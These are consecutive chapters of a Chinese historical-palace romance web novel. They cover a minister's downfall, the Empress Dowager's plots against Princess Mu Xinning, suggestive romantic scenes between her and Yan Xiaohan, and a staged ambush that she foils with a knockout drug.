但是他也隐隐有些怀疑,这件事或许跟家里应该有所牵连。 本以为有人顶罪,便能逃过当下一劫,没想到怕什么来什么。 晏骁寒呈上折子:“皇上,供词都在这里,人也可以带上来,您亲自询问。” “哼,给华尚书好好看看!” 永平帝扫了一眼之后,直接将手里的折子丢砸在了华庭绅的脑袋上,华庭绅简直是又气又慌。 “这……” 看清折子上的内容,他还想狡辩,永平帝已经拍案而起:“华尚书真是养了一个好女儿,估计之前自首之人,也是受了华尚书的指使,特意为你女儿顶了罪吧!” 第179章 把那个贱人办了! 华尚书捂着胸口,人差点跌坐在地上。 没想到苟御史一家的死,竟然真的跟华丽妍有关系。 他就不明白,原本温柔懂事的女儿,怎么能做出这种狠辣无情的事情来。 他想起最近,夫人和女儿都躲着他,一副鬼鬼祟祟做贼心虚的样子,顿时明白了什么,原来,他的好夫人,也插手了此事。 杀人灭口也就算了,为什么非要陷害慕馨宁,这下好了,得不偿失了! 没想到,他辛辛苦苦在朝堂上钻营了半辈子,最后竟然毁在了自己的妻女身上。 晏骁寒又呈上了苟御史一家被害死的新证据,华尚书百口莫辩。 慕馨宁恍然大悟,原来之前所谓的结案,只是为了掩人耳目,这华夫人母女一放松警惕,就露出了马脚。 “摘了华庭绅的官帽,其家眷全部入狱,听候发落!” 太后得知此事,急匆匆赶来的时候,已经退朝,就算她再气恼,再不甘,还能怎么样? “皇帝,这件事华庭绅妻儿是有错,可是华庭绅毕竟是无辜的。” 永平帝皮笑肉不笑:“无辜,恐怕母后还不知道,苟御史之所以做了那么多坏事,其实就是受了华庭绅的指使吧?” 不等太后说话,永平帝将厚厚的一沓罪证摆在太后面前:“朕之所以没有直接发难华尚书,还是想给母后留一点颜面,毕竟华丽妍和易王,还有婚约。” 太后无言以对,差点将手里的护甲掰断,慕馨宁,怎么又是慕馨宁,要不是慕馨宁今日在金銮殿上大闹,事情也不会变成这样,简直是岂有此理! 太后带着一肚子火气回了景阳宫,王福跪在太后脚边,面色凝重的开口:“太后,这个长公主留不得啊,你瞧瞧,最近她都给您添了多少麻烦了,信武侯府和华尚书一家都栽倒在她的手上了!” 原本这话他一个奴才不应该说,但是现在他若是不说,太后还不知道又要面临什么样的损失。 太后脸色难看的一拍桌子,正琢磨怎么对付慕馨宁,她派出去的人就回来了。 “见过太后。” “左统领,哀家交代你的事情,查的如何?” 左统领跪在地上,面色严肃:“回禀太后,您手里有金矿的事情,是长公主透露给皇上和晏首辅的,如今我们挖掘金矿的人死的死抓的抓,皇上那头还在审问,幸好他们什么也不知道,否则……” 太后脸色难看,差点掀桌子:“好一个慕馨宁,之前向哀家示好,哀家还以为她学乖了,原来是在跟哀家耍心眼!” 芝嬷嬷苦着一张脸:“您送到公主府那两个秀女,现在被长公主折磨的憔悴的不行不说,人也受了一圈,长公主应该不会把咱们的人送到宫里来了!” 太后气的脸色铁青,有一下没一下的摩挲着怀里的玉如意:“我们的人不好再出手……” 她沉思片刻:“取十万两,送到罗刹门,请他们的门主亲自替哀家把那个贱人给办了!” 芝嬷嬷苦着一张脸,愁眉不展:“太后,咱们手里,没那么多钱啊……” 藏在信武侯府那十万两金子丢了,金矿也被永平帝查封了。 宋菀菀出嫁又添了那么多嫁妆,即使宋菀菀至今没个下落,但那些个嫁妆,赫连儒也是不打算还的。 所以太后如今的小金库,已经空空如也了。 太后气的磨牙,喉咙里卡着一口浓痰:“找莞儿父亲,哀家培养他那么久,就应该替哀家分忧!” 芝嬷嬷答应一声,跟左统领连忙退下。 太后手里的茶盏还是落在了地上:“慕馨宁,哀家等着给你收尸!” 宫道上,树荫下,慕馨宁狠狠地打了一个喷嚏。 她顿住脚步,诧异的看向身后尾随了好一段路的晏骁寒:“有事?” 晏骁寒沉默许久,才缓缓开口:“你真的不愿意与我成婚?” 慕馨宁立刻否认:“哪有。” “那你为何,会提出那样的条件?” 他答应入赘公主府,已经是自取其辱,给了慕馨宁该有的体面,这女人怎么还能如此得寸进尺? 慕馨宁抬了抬下巴:“我不觉得我的要求有多过分,你若是做不到,只能说本宫在你眼里,没有半点分量,你根本没把本宫放在心上。” 晏骁寒俊脸挂了寒霜,一把抓住慕馨宁的手腕,就将人抵在了宫墙上:“我若是没把你放心上,怎么会娶你?” 慕馨宁惊讶的张大嘴巴:“你……你的意思,你是喜欢我?” 晏骁寒星眸半眯,薄唇轻启:“……看不出来?” 慕馨宁动了动唇,开心的差点笑出声来,却极力隐忍着。 她低下头故作深沉:“看不出来,你不是对那位已故的未婚妻念念不忘,不是又对她的妹妹琉璃姑娘照顾有加?” “谁跟你说我对她念念不忘?”晏骁寒用力按住她的双肩,咬牙切齿。 慕馨宁:“……” 她猜的,可是她不敢说。 “那位琉璃姑娘,还有另一个身份,你可知?” 晏骁寒终于跟慕馨宁吐露实情。 慕馨宁对上他深邃的眸子,故作无所谓:“你不想说就算了。” 晏骁寒无奈叹息:“她,是江州知府的私生女。” 二十万两赈灾银不翼而飞,唯一的线索,就在那位水琉璃身上,他当然要把人带到京城来。 慕馨宁一脸错愕,所以,个晏骁寒让水琉璃以救命之恩住进了府里,只是为了调查失踪的那二十万两白银? 也对,晏骁寒那么聪明,怎么会轻易被水琉璃给欺骗呢? 怪不得她觉得那个江州知府有些眼熟:“可她一个姑娘,你查她,还不如查江州知府。” 晏骁寒挑起她的下巴,盯着她素颜如雪的脸蛋儿:“一个女人,或许没什么能力,但是手段,可不容小觑,你说呢?” 最后三个字,晏骁寒刻意拉长的音调。 因为这个道理,他还是从慕馨宁身上悟出来的。 晏骁寒的气势,带了几分威压,慕馨宁浑身不自在,想要将人推开,却没有推动。 “你的疑惑,本官都解了吧?” 慕馨宁迟疑着,点了点头。 晏骁寒轻哼一声,带着薄茧的指腹有一下没一下的摩挲她的唇瓣:“那本官的疑惑,你何时能解?” 慕馨宁心跳加速,又有些忐忑:“什么疑惑?” 晏骁寒:“你已经跟我……怎么看见别的男人,还那般不知收敛?” 慕馨宁松了口气,还以为晏骁寒是怀疑她异于常人的能力,和行为。 “我就看两眼,又没干别的。”她嘴硬道。 晏骁寒沉默着,但是脸色越来越黑,目光越来越冷。 第180章 侍寝一晚 慕馨宁就有些招架不住:“那我……我以后肯定注意,行不行?” 晏骁寒冷硬的表情柔和两分:“你要写个保证。” 误会也算解开了,慕馨宁拉着他的手就往宫外走:“行,写,写。” 在慕馨宁不注意时,男人的嘴脸肆无忌惮的上扬,犹如雪山绽放的雪莲。 他又想起什么,笑意瞬间收敛:“华尚书一家下狱,太后最得力的臂膀又断了一条,她不会放过你的。” 慕馨宁:“证据不是你提供的?” “我也只是为了帮你。” 就算他的功劳最大,但是太后最想收拾的,肯定还是慕馨宁。 晏骁寒有些担忧,还是要加派人手保护这女人的安全才行。 慕馨宁笑着折了路边的一支月季,好心情的嗅了嗅花香:“她肯定是想杀我的,所以我也给她准备了一份大礼,就看谁的速度最快了。” “哦,什么大礼?” 晏骁寒将慕馨宁手里那支月季,插进了她的墨发里,女人素颜如雪的那张脸,瞬间增添了几分妖娆。 “到时候你就知道了!”慕馨宁抱着晏骁寒的胳膊,两个人的身影渐行渐远。 远处,树根底下扒拉蚂蚁的即墨,忽然被人踹了一脚。 “走了!” 杜若说完,抬腿就去追自家主子。 即墨看着腿上那明显的脚印,再看看杜若远去的人影,脸色难看的不行。 一个丫鬟也这么大的胆子,敢跟他动手动脚,真是岂有此理。 “哎,你说说,你家主子都喜欢什么?” 即使即墨再不甘,可是看着远处两个人忽然好的像一个人似的,身子都要贴在一起,他不得不为自己的以后做打算了。 杜若想也不想的道:“我家主子就喜欢钱。” 即墨脱口而出:“这么市侩?” 杜若原本就不想给即墨好脸,听他这么说,冷哼一声,沉着脸扭头就走了。 华尚书轻易倒台,慕馨宁只用了吹灰之力而已,要怪,只能怪这一家人太轻敌,装清高还自以为是,众人皆是一阵唏嘘。 南阳郡主跟霍承安马上就要大婚,这两个人倒是没什么,但是看在勤王府和安国公府的面子上,这贺礼还是需要上心一些。 杨嬷嬷挑了两样贺礼,但是又有些拿不定主意,索性多挑了几样,让慕馨宁来挑选。 “这个红珊瑚送勤王府,这缠枝薄胎玉壶送安国公府。” 杨嬷嬷应了一声,让人将东西都带下去。 “主子,刑部有人来传话,华丽妍想要见您一面。” 鸦羽侧身,让端着东西的下人们先退下。 慕馨宁咬了一口果子,淡声道:“她找本宫,能有什么好事,无非就是想在发落之前,狠狠羞辱本宫一顿撒气而已。” 杜若也觉得是这个道理:“华尚书府上不是也被查抄了,华丽妍竟然能使唤得动刑部的人,应该没少给他们好处吧?” 此话一出,原本有些犯困的慕馨宁顿时来了精神:“狡兔三窟,华尚书老奸巨猾,在朝堂上周旋了半辈子,肯定留了后手。” 华庭绅藏在外头的银子估计也不是个小数目,眼下她正在筹建学堂,手头正有些紧呢。 可是华庭绅藏在外头的银子到底在哪里,她应该如何才能拿到手呢? “去,喊玄翎抽空来见我。”慕馨宁将华丽妍要见她的事情直接抛到了脑后。 “主子,琉球那边来信了。” 慕馨宁正琢磨晚上的菜谱,鸦羽进来,递给她一封信。 看了信之后,慕馨宁笑的很淡:“本宫说愿意和南岳一同出兵,助琉球解决困境,这都过了这么久才回信,犹豫不决没个主意,也怪不得琉球陷入危难。” 鸦羽道:“您说的有道理,或许他们是怀疑您和南岳皇太女的能力。” 慕馨宁摇头:“信上说了,若是不能助琉球事成,替他们夺回失去的城池,我的交易就可以作废,他们也不损失什么。” 鸦羽想了想:“或许他们觉得答应了您的条件有些吃亏,眼下又局势紧张,所以才不得不同意的。” 若是他们早答应,早准备早反击,还能争取机会和时间,现在可就不容易了。 慕馨宁冷哼一声:“既然他们拖拖拉拉,信不过本宫,那条件本宫可得再多加上几条。” 杜若虽然不懂这治国之策,但还是觉得琉球不是那种愿意吃亏的。 慕馨宁却不管这些,她之前的条件可并不高,原本想向琉球示好,如今他们不识抬举,她还何必再做善人? 晚饭刚上桌,玄翎就来了。 慕馨宁托腮:“你的鼻子这么灵,竟然赶到饭点。” 玄翎看了慕馨宁一眼,没急着搭话,转身对外头道:“抬进来。” 慕馨宁诧异,还没反应过来玄翎要做什么。 就看见四个下人抬着一个硕大的铁皮箱子进来。 慕馨宁起身凑到跟前:“里头装的什么?” 玄翎坐在饭桌前,径自倒了一盏茶:“你心心念念的东西。” “真的?”慕馨宁有些怀疑,玄翎怎么可能知道她心心念念的是什么? 下人将箱子放下,掀开了盖子。 琳琅满目的各种金银珠宝就映入了慕馨宁的眼帘。 “这是……”慕馨宁终于想到了什么:“这不会是华庭绅藏在外头的宝贝吧?” 玄翎颔首:“果然是个老狐狸,一家人下狱还没等发落,他就让人先将这些珠宝运出城了。” 幸好他的人发现了,若是等出了城,还怪麻烦的。 “玄翎,你真聪明,简直是我肚子里的蛔虫!” 慕馨宁顿时笑的合不拢嘴,这么多金银珠宝,估计是华庭绅全部家当了,那老东西要是知道了,估计得被气死。 玄翎又喝了口茶,垂下眼什么也没说。 他当然不愿意做她肚子里的蛔虫,他想做他的男人,只可惜…… 饭桌上,慕馨宁将面前的一盘烧肉挪到了玄翎面前:“辛苦你了,你可是帮了我许多大忙,你说说你想要什么,只要我能办到,肯定答应你。” 慕馨宁是打算给玄翎一万两银子,让他置办自己的私产,若是玄翎想要入朝为官,她也会想个办法满足他。 反正她感觉玄翎要是一直为她做这些琐事,太屈才了。 “你当然能办到,只是我担心,你不会答应。”玄翎握紧手里筷子,眼底有什么情绪一闪而过。 “那不能,我不是那么小气的人。”慕馨宁吸溜了一口汤,咬了一口驴肉火烧语气肯定。。 玄翎凑到慕馨宁跟前:“那你让我,侍寝一晚。” 第181章 春宫图 “呕……咳咳咳……” 慕馨宁瞪大眼睛,差点被噎到。 玄翎仿佛早就料到如此,面色淡淡的将慕馨宁面前的汤递到她嘴边。 慕馨宁喝了口汤,自己顺了顺胸口,红着脸看向一旁的杨嬷嬷、刘营几个。 几个人都低头用饭,仿佛什么也没听见,但是泛红的脸颊和嘴角诡异的弧度,都在证明,他们将玄翎的话听的清清楚楚。 慕馨宁其实很想逃避,又见玄翎目光中似乎有期待,一时间不知该如何开口。 就在慕馨宁准备好说辞时,玄翎却轻松的道:“开玩笑的,你还当真。” 慕馨宁松了一口气,硬着头皮道:“白栀她照顾你如何,你若是不满意,我再给你挑几个伺候?” 玄翎喝了一口酒,点头:“挑几个吧,我喜欢热情奔放的。” 慕馨宁笑着道:“好说,肯定让你满意。” 鸦羽埋头喝了口茶,看玄翎的目光,有几分同情。 饭后,慕馨宁将早就准备好的一万两给了玄翎:“正巧前些日子听说隔壁两进的宅院要卖,明日我就让人买下来,你要是觉得府里不方便,可以……” 玄翎打断:“当然方便,你不会觉得我在府里,碍你的好事吧?” 至于是什么好事,慕馨宁有些心虚。 他又追问:“还是,是晏骁寒想赶我走?” “当然没有,你想住哪就住哪。” “嗯。” 玄翎一走,慕馨宁就忙了起来。 天色已经黑了,杜若怕慕馨宁伤了眼睛,特意又添了一盏琉璃灯:“主子,您忙什么呢?” 杜若随口就问了一句而已,本以为慕馨宁是在写什么吃食的方子,又或者其他用物的制作工序。 却听慕馨宁淡淡的道:“春宫图。” 玄翎不是喜欢热情的,那床上功夫当然要好才行。 只是这古代人思想有些保守,春宫图也就那么几个姿势,这还需要她亲自出手才是。 杜若差点摔个跟头,真后悔自己多嘴。 “这个得上点颜料才能有神韵,你去给我弄点。” 即使杜若脸滚烫的快要烧起来,慕馨宁却不以为然。 她不经意抬头,看见杜若羞愤欲死的样子,皱眉道:“有什么好害羞的,你年龄也不小了,这种事情迟早要经历,而且肯定也会欲罢不能,你提前了解了解也好。” “奴婢先出去了!” 杜若捂着眼睛往外跑,再不跑,估计自家主子就拉着她一起欣赏春宫图了。 片刻,各种颜料就摆在了桌子上。 慕馨宁不经意发现面前之人的手修长好看,跟杜若略带婴儿肥的手区别很大,还有他的袖子,也并非是杜若喜欢的颜色。 慕馨宁诧异的抬头,就看见了晏骁寒那张似乎冰封千年的冷脸。 “继续。” 慕馨宁握笔的手一抖,笔尖上的墨汁便滴落在宣纸上,将上头的人物晕的一片漆黑。 慕馨宁哪敢还继续,只能解释:“我……就是画给我们两个看的,等我们成了婚,什么姿势你说了算。” 晏骁寒一把将椅子上的人拉起,动作粗鲁的直接丢在一旁的软榻上:“不如你现在教教我,你亲自示范,我学的会更熟练……” 他说着,大手直接撕开了慕馨宁的衣襟。 晏骁寒心里有气,还等什么大婚,春宫图都画起来了,若是他再拖拉,跟她做这个的,就不一定是谁了! 眼看着自己身上的衣服被一件件撕碎,慕馨宁用脚趾头想也知道,这厮是生气了。 这样是不是也太不尊重她了,这跟用强有什么区别? 慕馨宁想拒绝,忽然又放弃了。 不但放弃了,而且还主动迎合,管他是用强还是如何,先得到他的人再说。 她的手伸进他的衣襟,揽住他的劲腰,两只手不安分的将他身后的疤全部描绘了一遍。 嗯,好像有些硌手。 感受到慕馨宁不安分的双手,男人浑身的血液都在叫嚣,动作也更加粗暴。 “你若是不喜欢,我就找姬神医要些去疤的药膏。”男人喘着粗气,靠在她的耳边风,声音低沉又嘶哑。 慕馨宁吻在他的脖颈:“不必,我很喜欢。” 伤疤,对女人而言是耻辱,而对男人而言,是荣耀。 他在青涩懵懂时,历经危难和艰险,逐渐成长至成熟。 仿佛每一段历程,都在他的身上留下了烙印,更似勋章。 慕馨宁替他感到骄傲。 ‘喜欢’两个字,让晏骁寒浑身的血液更加沸腾,没有什么时候比现在更想拥有她。 就在慕馨宁已经做好和晏骁寒融为一体的准备时。 这厮忽然起身,并且慢条斯理的穿衣服。 慕馨宁脸色瞬间难看:“耍我?” 简直是欺人太甚,把她当成什么了? 是不是觉得天底下,她只能跟他一个男人睡? 晏骁寒扫了一眼她的身下,有些迟疑:“你好像……” 慕馨宁坐起身来,顺着晏骁寒的目光看去,就见身下一片殷红。 “我艹!”慕馨宁这个时候,才想起来,她来了月事,而且正是汹涌的时候。 只怪晏骁寒这厮太勾魂,她竟然忘了这事。 慕馨宁真想找块豆腐撞死算了,但是看着晏骁寒一脸痛苦,还得亲自替他解决。 “你过来……” 历经之前的羞耻,这一次,晏骁寒已经不知‘羞耻’二字为何物了,情难自禁的时候,还会主动指点。 许久之后,慕馨宁无力的瘫软在他身上:“天道不公,你是舒坦了,遭罪的是我……” 晏骁寒目光柔和,替她理了理凌乱的发:“等你好了,春宫图上的姿势,我们都试一遍……” 慕馨宁搂着他的脖子,淡淡应了一声。 “我们再来一次吧……” 晏骁寒声如蚊蚋,终于又感受到了一丝羞耻。 第182章 吐血 可是身上的人许久都没反应,他侧头,见慕馨宁不知什么时候已经睡了过去。 次日慕馨宁醒过来的时候,床上早就没了晏骁寒的人影,只有那一片狼藉,证明他真的来过。 慕馨宁心情很好,早饭吃了三个肉饼,撑得她直打嗝。 趁着天气还没太热,慕馨宁打算去手工作坊转一圈,看看香皂和洗发膏等做的如何。 马车刚拐到街上,就见百姓交头接耳,手舞足蹈的在议论什么。 杜若直接探出头去,竖起了耳朵。 “听没听说,逃婚的惠明公主,竟然去了边境!” “当然听说了,现在整个东陵都在传这件事,说惠明公主跟易王两情相悦,当着那么多人的面睡一张床上了!” “天呐,他们两个不是兄妹吗,虽然不是亲生的,这像什么话啊!” 听清大家的议论之后,杜若差点笑出声来:“主子,现在大家都在议论易王和惠明公主的事情。” 慕馨宁摇着手里的团扇,嘴角上扬:“这件事,虞文茵办的还不错。” 杜若撇嘴:“她也就这点用处了。” 虞文茵做了易王侧妃,本来不得易王待见。 可虞文茵说,宫里接风宴上,可以流传千古的那些个歌舞,都是出自她之手,只是被慕馨宁给据为己有抢了功劳。 原本易王不信,可是虞文茵随口做几首诗词,那都是倾世之作,随便谈几首曲子,那也是惊为天人,易王自然被她的才情折服。 虞文茵趁着受宠,特意举办了一个赏花宴,请了边境众多贵客以及家眷。 那日不知怎的,易王醉了酒,就和本应该嫁到北赫做太孙妃的宋菀菀睡在了一张床上,所有宾客都看的清清楚楚,真真切切。 宋菀菀口口声声说自己之所以出现在这里,是因为跟易王两情相悦,易王助她摆脱北赫使臣,南下走了水路才到了边境。 易王当然矢口否认,一气之下,直接一剑要了宋菀菀的命。 ‘爱惨了’易王的侧妃虞文茵,受不住易王跟宋菀菀睡一起的打击,当日就一条白绫吊死了。 原本易王还想将这件事压下去,可是一下子就没了两条人命,这件事不但捂不住,还传的沸沸扬扬。 慕馨宁听的津津有味,感慨道:“边境离京城太远了,要不然我就亲自过去看这场好戏了。” 鸦羽道:“估计明日早朝,定会有人弹劾易王,太后又要发病了。” 太后当然会发病,她原本还盼着借着虞文茵的手杀了慕馨宁,得到虞放手里的兵权。 没想到自己的宝贝儿子就栽了这么大一个跟头。 这件事要说跟慕馨宁没关系,傻子都不会信。 所以,次日早朝,文武百官吵的不可开交,苟御史再次开启了‘死谏’的老本行,永平帝一脸为难,其实心里别提多开心了。 他一直在搜集易王的罪证,可一直没有找到能扳倒易王最有力的证据,没想到不过两个女人,就将易王给折腾的里外不是人。 被那么多人撞见和自己的义妹睡在了一起,宋菀菀还是北赫未来太孙妃,易王不但杀了宋菀菀,又逼的虞将军女儿自戕,这个罪名,足够让易王陷入泥潭,抜都抜不出来。 太后得知此事,脱簪跪在了金銮殿,口口声声说易王是被冤枉,让永平帝彻查。 永平帝当然也会耍嘴皮子:“母后,您可是东陵的太后,哪有给儿臣下跪的道理?” 永平帝让人将太后扶起来,一脸为难:“事情闹成这样,两条人命,身份还都非比寻常,儿臣不能再顾及我们兄弟的手足之情。” “不过这件事儿臣定会彻查,若是有什么误会,也定会还易王一个清白,眼下只能先将易王为郡守,收回他手中权利,召易王回京述职。” 此话一出,太后当即面色一白,人摇晃两下,吐出一口血来。 “太后!” “母后,传太医!” 太后病重的事情传到公主府,慕馨宁又要入宫侍疾,无法推脱。 慕馨宁心中忐忑,那老妖婆手段毒辣,如今已经到了图穷匕见的时刻,她怕是难逃一劫了。 “去找老头儿讨点药丸,我们进宫。” 慕馨宁带着杜若和鸦羽刚出公主府,就见晏骁寒打马而来。 慕馨宁笑着迎上去,看着他的俊脸移不开眼:“去哪?” 晏骁寒翻身,从马背上下来:“未来岳母病重,我作为她未来的女婿,当然要同你一同入宫侍疾。” 慕馨宁悬着的心终于放了下来,她恨不得扑进晏骁寒怀里:“你太好了,谢谢。” “怎么谢?”晏骁寒一脸期待。 慕馨宁眨眼:“以身相许。” 晏骁寒:“……” 慕馨宁拉着晏骁寒上了马车,晏骁寒还没等坐稳,慕馨宁就将他压在了身下。 对上男人璀璨的星眸,她便想要一亲芳泽。 晏骁寒一把扣住她的脸:“你的……走干净了?” 慕馨宁顿时一脸委屈:“还得等几天。” 晏骁寒:“那你离我远一点。” 慕馨宁不甘心,这人,怎么能这么冷漠无情。 天气闷热,马车里的慕馨宁没一会儿就感觉浑身是汗,于是想着暂且将衣襟敞开。 见慕馨宁宽衣解带,晏骁寒喉咙一紧:“你做什么?” 慕馨宁坏笑:“热了,脱了凉快凉快。” 看着女人白皙的肌肤,凹凸有致的身材,晏骁寒身子紧绷,脑海里浮现夜里销魂的情形。 “你做什么?” 宽衣就宽衣,可是慕馨宁一副搔首弄姿的样子做什么。 慕馨宁将衣摆提的更向上,大腿根都要露出来了。 她学着那些勾引男人的女子娇滴滴的道:“人家就是有些痒……你帮人家挠一挠好不好嘛……” 这不就是明晃晃的勾引? 男人食髓知味,当然有些把控不住。 终于,晏骁寒忍无可忍,一个翻身,反过来将慕馨宁压在了身下,他捏着她的下巴,狠狠落下一吻:“既然如此,那换个法子教训你也是一样的。” 说着,他粗粝的大手伸进她的衣襟,指尖的薄茧,让慕馨宁身子一阵颤栗。 马车里逐渐升温,忽然,鸦羽急切的声音响起:“有刺客!” 话音未落,鸦羽感觉耳后一痛,便浑身无力的倒下了,随即其他几人也倒在了地上。 晏骁寒面色一变,迅速替慕馨宁整理好衣襟,一脸严肃的道:“你注意安全,我出去瞧瞧。” 慕馨宁感觉今日的刺客不好对付,她有些慌,想要让晏骁寒留下来,可是没等开口,人已经出了马车。 “嘿呦,晏首辅,好久不见。” 晏骁寒刚下马车,对面的梧桐树上,传来男人戏谑的声音。 晏骁寒负手抬头,就见一个男人握着一把大刀懒散的靠在树上喝酒。 他脸上带了半块狼头面具,身影有些熟悉。 晏骁寒剑眉微蹙,目光如炬:“还不让你的人住手?” 第183章 脑子有大病 此时,鸦羽和刘营已经身受重伤,慕馨宁的人已经有一大半倒地不起,是死是活,还未可知。 带着面具的男人笑了一声:“你说住手就住手,我凭什么听你的?” 二人四目相对,眼神里仿佛在无声交流着什么。 慕馨宁掀开车帘的缝隙,竖着耳朵听了一会外头的动静,除了风声和树叶声,便没有其他。 慕馨宁顿时有些六神无主,就算她的人再不中用,也不应该是这个局面,至少也会找个寻求支援的机会。 心都要跳出嗓子眼,她颤抖着手从身上摸出一只虎指哨,还没等吹响,面前忽然多了两道人影。 面具男手里泛着寒光的银钩紧紧的贴合在晏骁寒的脖子上,只要轻轻用力,就能要了晏骁寒的命。 慕馨宁紧紧抓着车窗脸都白了,心脏都要跳出嗓子眼。 晏骁寒的武功不是很好么,东陵国不是鲜少有对手,怎么还没听见打斗声,就这么败了? 难道是因为那面具男用了什么卑鄙的手段? 慕馨宁都来不及思考到底发生了什么,才会导致眼下的局面。 “不要管我,你快走。”即使自己已经身临险境,晏骁寒却只担忧慕馨宁。 “你要是敢求救,我现在就要了他的命。”面具男看着慕馨宁手里的哨子,似笑非笑,眼里的杀意却让人脊背生寒。 慕馨宁一脸担忧的连忙开口:“别,有话好好说,你不就是要钱吗,只要你放了他,多少钱我都给你,如何?” “那你觉得,他这条命,值多少钱?”面具男笑了一声,扫了一眼晏骁寒。 慕馨宁皱眉:“我不想跟你讨价还价,你说个数吧。” 说少了,显得她小家子气,不把晏骁寒当回事,说高了,那她还有些心疼。 面具男眼里嘲讽之意尽显:“口气这么大,好像财神爷是为你效力一样。” 慕馨宁一噎,忽然感觉这个面具男不是来刺杀她的,是专门来羞辱嘲讽她的。 她悄无声息的环顾四周,怎么晏骁寒的人也一个不见,即墨哪去了,离夜哪去了,他身边的护卫暗卫怎么也没个人影? “我不要钱,只要你拿自己的命,换他的命,如何?” 慕馨宁差点骂人,想要她的命直说,绕这么大弯子是吃饱撑的? “何必动她,杀了我,你也一样可以向你的雇主交差!”晏骁寒冷肃着一张俊脸道。 面具男没说话,期待的目光落在慕馨宁身上。 慕馨宁没有半分犹豫就下了马车:“好,我跟他换。” 面具男面色一僵,仿佛有些不可置信。 晏骁寒剑眉紧皱,语气急切:“你不要犯傻,你快走,就算我死了,你也要好好活着!” 那个面具男也开始附和:“是啊,虽然他有一张好皮囊,但是也不值得你搭上自己的一条命。” “你想想,就算他死了,天底下相貌好的男人数不胜数,你一天睡一个都可以不重样。” 慕馨宁都怀疑自己的耳朵出了问题,这人不是来杀她的吗,怎么又开始劝她,是不是脑子有毛病? 她袖子里的手动了动,深情的看向晏骁寒:“弱水三千只取一瓢,这辈子我认定了他,只要他好好活着,我就算死了,也心甘情愿。” 晏骁寒垂下眼帘,心里并未有太多的感动。 因为,他太了解慕馨宁了,这女人只是嘴皮子功夫耍的好,根本不是那种为了情爱而放弃生命的痴情种。 夫妻本是同林鸟大难临头各自飞,况且,他们还不是夫妻。 可即使是这样,心里还是有一丝的温暖,他安慰自己,喜欢上这样的女人,也是值得的。 面具男嘴角扯了一下,继续劝诫慕馨宁:“用你的命换他的命,你死了,一开始他或许很伤心,不过用不了多久,他就会把你忘了,看见别的美人儿估计也会动心的,等你的坟头长草的时候,他或许正在左拥右抱,享齐人之福呢!” 慕馨宁是真觉得这人脑子是真的有问题,好像她去逃命,这人就能放过她一样。 她看着面具男,已经有些不耐烦:“废什么话,少啰嗦,你到底换不换。” “既然你愿意,我何乐而不为呢?”面具男已经有意松开晏骁寒:“不过,你不会后悔吗?” 慕馨宁瞪了他一眼,已经到了面具男面前:“换吧。” 面具男笑了一声,竟然真的松开了晏骁寒,手里的银钩迅速抵在了慕馨宁的心口。 “临死前,有什么遗言?”他的身子靠在慕馨红后背,语气带了几分惋惜。 慕馨宁看了一眼晏骁寒:“没有。” 面具男诧异:“你为他而死,不应该让他发个毒誓,让他为你守身如玉一辈子,不准再和别的女人有所牵连,死后去地府找你?” “有意义吗?”现在她不但觉得这人脑子有问题,还跟个长舌妇一样,磨磨唧唧个没完。 “难道你真舍得,他再娶别的女人,跟别的女人入洞房?” 不等慕馨宁说话,他又道:“你若是舍不得他,我也可以替你杀了他,黄泉路上,让他跟你一起做个伴,岂不是更好?” 慕馨宁一脸诧异的看向晏骁寒:“你确定么?” 晏骁寒有些疑惑,不知道慕馨宁所说的确定是什么。 但是他也只是迟疑了一瞬:“我愿意陪你……” 慕馨宁打断:“他这样脑子有大病的的弱智,你竟然打不过他,你确定这是真的么?” 晏骁寒:“……” 面具男:“……你说谁是弱智,你的意思,我痛痛快快的要了你的命,才是明智之举?” “那我如你所愿!”说着,他脸上杀意尽显,手里的银钩狠狠戳向慕馨宁的心口。 慕馨宁悄无声息的抖了抖衣袖,双眼却目不转睛的盯着晏骁寒。 竟然见他不为所动,心里狠狠地刺痛一下。 刚刚,他不是说愿意陪她赴死? 她当然并不相信,毕竟她觉得晏骁寒是顶顶聪明的,她这样劣迹斑斑的女人,是不配他搭上一条性命的。 可是现在,她就要死了,他竟然无动于衷。 面具男原本要刺进慕馨宁的心口的银钩忽然放下,他笑着,似乎有些释怀:“骁寒,他或许是真心喜欢你……” 话没说完,鼻尖忽然闻到一股异香,他顿时浑身僵硬,直挺挺的跟个僵尸一样倒在了地上。 第184章 买你的命 慕馨宁狠狠地踹了他一脚:“来人,把他给本宫扒光了,吊在树上。” 倒地不起的面具男恍然大悟,原来慕馨宁愿意拿自己跟晏骁寒交换,并不是愿意为了晏骁寒舍弃自己的生命,是因为,她有药! 暗处的玄鲸如鬼魅一般出现在慕馨宁面前,其实他早就到了,只是在等待救下慕馨宁的机会,没想到慕馨宁轻易就解决了眼下的危机。 玄鲸三下五除二的就将面具男的衣服扒的只剩下一条亵裤。 其他几人连忙去查看倒地不起的鸦羽和杜若等人,令人欣慰的是他们并没有性命之忧,每个人身上都刺了一颗银针,银针上有迷药。 眼看着玄鲸一根麻绳,将面具男吊在了树上,晏骁寒似乎有些纠结。 慕馨宁上前,亲自揭开男人脸上的面具,看见那张熟悉又欠揍的脸之后,冷笑连连。 “你和他是一伙的?”慕馨宁面色很冷,看向晏骁寒的时候,语气肯定。 晏骁寒当即道:“没有,我发现是熟人,动作慢了一瞬,他身上又有暗器,所以才……” 被倒吊在树上的姬无忧,看晏骁寒的目光满是失望和愤怒,他这么做,都是为了试探慕馨宁对晏骁寒的真心,都是为了晏骁寒好啊,可是现在事情败露,晏骁寒就放弃了他! 即使他愤怒的眼睛都要瞪出来,可是一句话都不能说,一根手指头都不能动。 他不知道慕馨宁那个女人用的到底是什么下三滥的药,竟然有如此神效。 “最好是这样。” 慕馨宁打断晏骁寒,收回目光,摸向腰间。 她一个转身,手里就多了一条带着倒刺的银鞭。 “嗯……嗯……” 身上狠狠被抽出几道醒目的血痕,姬无忧疼的浑身抽搐。 “不如给他一个解释的机会,他或许只是和你开个玩笑。”接受到姬无忧求救的信号,晏骁寒念在以往的情分上,不得不开口。 见过自寻死路的,没见过像姬无忧这种没有死路,非要给自己凿出一条死路的,晏骁寒真不想承认有这种蠢货朋友。 他明明已经离开京城回了西梁,偏偏又跑回来演这么一场大戏,还把自己搭进去了。 慕馨宁转头看晏骁寒,目光带了几分审视。 晏骁寒手心里都是汗,人生头一次有心虚的感觉。 “说说你们是如何狼狈为奸,达成共识的吧?” 慕馨宁绝对不相信姬无忧和晏骁寒没有串通一气的情况下,晏骁寒能轻易败给姬无忧。 晏骁寒回想起,他看见姬无忧的时候。 “回来做什么?” “当然是办正事。” 